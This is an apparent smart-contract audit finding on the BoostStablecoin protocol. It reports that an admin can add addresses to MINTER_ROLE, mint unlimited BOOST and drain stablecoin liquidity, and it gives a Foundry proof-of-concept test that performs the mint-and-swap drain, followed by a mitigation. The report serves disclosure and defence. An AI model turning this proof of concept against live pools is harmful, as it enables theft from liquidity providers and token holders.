Quiet Felt Orca
Medium
While one can assume from looking at the contracts that the MINTER_ROLE
assigned to BoostStablecoin
will be the Minter
smart contract, Open Zeppelin's AccessControlUpgradeable
contract allows for multiple addresses to be set for a given role. This creates a situation where the admin, if misbehaving or compromised, can either override or add an additional address to the MINTER_ROLE
and steal all stablecoins that are paired with BOOST
across all DEXs including ones within the AXION
ecosystem thus breaking the peg stability mechanism of the AMO
and allowing price of BOOST fall to 0.
This occurs by the attacker minting a large amount of BOOST
to their wallet and swapping immediately with a DEX. This allows the attacker to withdraw nearly all the stable paired liquidity in the pool, leaving all LPs with worthless LP tokens and all BOOST
holders with no exit liquidity.
- The ability to update or have multiple
MINTER_ROLE
users. As seen inBoostStablecoin.sol:51
- The fact that
BoostStablecoin
minting can occur without collateral deposits outside of theAMO
.
- Needs to be liquidity within the pool.
- Admin sets
MINTER_ROLE
to another contract besidesMinter
contract.
No response
- MINTER_ROLE mints an extremely large amount of
BOOST
to their account by callingBoostStablecoin::mint
. - MINTER_ROLE swaps all of their
BOOST
balance for the paired stable of the target liquidity pool.
- Attacked BOOST/usd liquidity pool contains a near 0 amount of usd stable token and all the initial BOOST liquidity plus attackers BOOST.
- Attacker has nearly all of the USD paired stablecoin in their wallet.
- BOOST holder cannot swap back BOOST for usd.
- BOOST price == 0
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "forge-std/Test.sol";
import {BoostStablecoin} from "../../contracts/BoostStablecoin.sol";
import {SolidlyV2AMO} from "../../contracts/SolidlyV2AMO.sol";
import {Minter} from "../../contracts/Minter.sol";
import {MockERC20} from "../../contracts/mock/MockERC20.sol";
import {ISolidlyRouter} from "../../contracts/interfaces/v2/ISolidlyRouter.sol";
import {IFactory} from "../../contracts/interfaces/v2/IFactory.sol";
import {IGauge} from "../../contracts/interfaces/v2/IGauge.sol";
import {IPair} from "../../contracts/interfaces/v2/IPair.sol";
import {ISolidlyV2GaugeFactory} from "./interfaces/ISolidlyV2GaugeFactory.sol";
import {ISolidlyV2BribeFactory} from "./interfaces/ISolidlyV2BribeFactory.sol";
import {Ive} from "./interfaces/Ive.sol";
import {IBribe} from "./interfaces/IBribe.sol";
import {TransparentUpgradeableProxy} from
"../../node_modules/@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
contract H1PocTest is Test {
BoostStablecoin boost;
SolidlyV2AMO solidlyV2AMO;
Minter minter;
MockERC20 usd;
// Solidly v2 Contracts
IFactory solidlyV2Factory;
ISolidlyRouter solidlyV2Router;
IPair solidlyV2Pair;
ISolidlyV2GaugeFactory solidlyV2GaugeFactory;
ISolidlyV2BribeFactory solidlyV2BribeFactory;
IGauge solidlyV2Gauge;
Ive ve;
IBribe bribe;
address admin = makeAddr("admin");
address msig = makeAddr("msig");
address treasury = makeAddr("treasury");
address pauser = makeAddr("pauser");
uint256 tokenId = 1;
bool useTokenId = true;
uint256 boostMultiplier = 1.1e6;
uint24 validRangeWidth = 0.01e6;
uint24 validRemovingRatio = 1.01e6;
uint256 boostLowerPriceSell = 0.99e6;
uint256 boostUpperPriceBuy = 1.01e6;
uint256 boostSellRatio = 0.8e6;
uint256 usdBuyRatio = 0.8e6;
function setUp() public {
string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
vm.createSelectFork(MAINNET_RPC_URL);
vm.deal(admin, 1000 ether);
usd = new MockERC20("USD", "USD", 6);
boost = new BoostStablecoin();
boost = BoostStablecoin(
address(new TransparentUpgradeableProxy(address(boost), msig, abi.encodeCall(boost.initialize, (admin))))
);
vm.startPrank(admin);
boost.grantRole(boost.PAUSER_ROLE(), admin);
minter = new Minter();
minter = Minter(
address(
new TransparentUpgradeableProxy(
address(minter),
msig,
abi.encodeCall(minter.initialize, (address(boost), address(usd), address(treasury)))
)
)
);
boost.grantRole(boost.MINTER_ROLE(), address(minter));
boost.grantRole(boost.PAUSER_ROLE(), pauser);
minter.grantRole(minter.MINTER_ROLE(), address(this));
solidlyV2Factory = IFactory(0x777de5Fe8117cAAA7B44f396E93a401Cf5c9D4d6);
solidlyV2Router = ISolidlyRouter(0x77784f96C936042A3ADB1dD29C91a55EB2A4219f);
ve = Ive(0x77730ed992D286c53F3A0838232c3957dAeaaF73);
solidlyV2BribeFactory = ISolidlyV2BribeFactory(0x2Dadc1f40eb0237BEc549862F9DEC002509ea381);
bribe = IBribe(solidlyV2BribeFactory.createBribe());
address pair = solidlyV2Factory.createPair(address(boost), address(usd), true);
solidlyV2Pair = IPair(pair);
address rewardVault = makeAddr("rewardVault");
solidlyV2AMO = new SolidlyV2AMO();
solidlyV2AMO = SolidlyV2AMO(
address(
new TransparentUpgradeableProxy(
address(solidlyV2AMO),
msig,
abi.encodeCall(
SolidlyV2AMO.initialize,
(
admin,
address(boost),
address(usd),
address(minter),
address(solidlyV2Router),
address(rewardVault),
address(rewardVault),
tokenId,
useTokenId,
boostMultiplier,
validRangeWidth,
validRemovingRatio,
boostLowerPriceSell,
boostUpperPriceBuy,
boostSellRatio,
usdBuyRatio
)
)
)
)
);
vm.stopPrank();
_initLiquidity();
}
// Minter can inflate the token supply and rug LPs
function testMinterRug() public {
// User2 obtains BOOST stablecoin by swapping USD for BOOST within the Pool.
address user2 = makeAddr("user2");
usd.mint(user2, 100e6);
vm.startPrank(user2);
usd.approve(address(solidlyV2Router), 100e6);
ISolidlyRouter.route[] memory path = new ISolidlyRouter.route[](1);
path[0] = ISolidlyRouter.route({from: address(usd), to: address(boost), stable: true});
uint256[] memory amounts = solidlyV2Router.swapExactTokensForTokens(
100e6,
0,
path,
user2,
block.timestamp + 1 days
);
assertApproxEqRel(amounts[1], 100e18, 1e16);
console2.log("Pool Balances After 1 lp & swap");
console2.log("Pool USD balance: ", usd.balanceOf(address(solidlyV2Pair)));
console2.log("Pool BOOST balance: ", boost.balanceOf(address(solidlyV2Pair)));
// The attacker can now rug the pool
vm.startPrank(admin);
boost.grantRole(boost.MINTER_ROLE(), address(this));
vm.stopPrank();
console2.log("Permissioned attacker minting 100,000,000e18 BOOST...");
boost.mint(address(this), 100_000_000e18);
boost.approve(address(solidlyV2Router), boost.balanceOf(address(this)));
console2.log("Attacker BOOST balance: ", boost.balanceOf(address(this)));
console2.log("Attacker USD balance: ", usd.balanceOf(address(this)));
ISolidlyRouter.route[] memory path2 = new ISolidlyRouter.route[](1);
path2[0] = ISolidlyRouter.route({from: address(boost), to: address(usd), stable: true});
console2.log("Attacker swapping all BOOST for USD...");
solidlyV2Router.swapExactTokensForTokens(
boost.balanceOf(address(this)),
0,
path2,
address(this),
block.timestamp + 1 days
);
console2.log("Attacker USD balance: ", usd.balanceOf(address(this)));
console2.log("Pool USD balance: ", usd.balanceOf(address(solidlyV2Pair)));
console2.log("Pool BOOST balance: ", boost.balanceOf(address(solidlyV2Pair)));
console2.log("Price of BOOST: ", solidlyV2AMO.boostPrice());
// revert("done");
}
function _initLiquidity() internal {
address user = makeAddr("user");
usd.mint(user, 100_000e6);
vm.startPrank(address(minter));
boost.mint(user, 100_000e18);
vm.stopPrank();
assertEq(boost.balanceOf(user), 100_000e18);
assertEq(usd.balanceOf(user), 100_000e6);
// Set up the initial liquidity pool
vm.startPrank(user);
boost.approve(address(solidlyV2Router), 100_000e18);
usd.approve(address(solidlyV2Router), 100_000e6);
// Provide liquidity directly to the POOL
(uint256 boostAmount, uint256 usdAmount, uint256 liquidity) = solidlyV2Router.addLiquidity(
address(boost),
address(usd),
true,
100_000e18,
100_000e6,
100_000e18,
100_000e6,
user,
block.timestamp + 1 days
);
assertEq(boostAmount, 100_000e18);
assertEq(usdAmount, 100_000e6);
}
}
- Introduce a more trustless system for minting
BOOST
, perhaps by ditching the minter all together and having all mints occur directly through the AMO.